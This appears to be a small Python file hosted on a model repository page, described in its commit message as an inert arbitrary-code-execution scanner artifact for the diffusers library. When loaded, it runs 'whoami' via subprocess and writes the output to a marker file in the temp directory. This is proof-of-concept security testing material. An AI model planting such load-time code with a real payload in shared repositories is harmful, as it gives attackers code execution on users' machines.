FrankLin00's picture
Add inert MMRH ACE scanner artifact: diffusers requirements find_spec
fe39446 verified
Raw History Blame Contribute Delete
431 Bytes
import json
import os
import subprocess
from pathlib import Path
_result = subprocess.run(['whoami'], capture_output=True, text=True, timeout=5, check=False)
Path(os.environ.get('TMPDIR', '/tmp'), 'HFSCAN_DIFFUSERS__02_REQUIREMENTS_KEY_TO_FIND_SPEC_ACE').write_text(
json.dumps({'argv': ['whoami'], 'returncode': _result.returncode, 'stdout': _result.stdout.strip(), 'stderr': _result.stderr.strip()}, sort_keys=True) + '\n'
)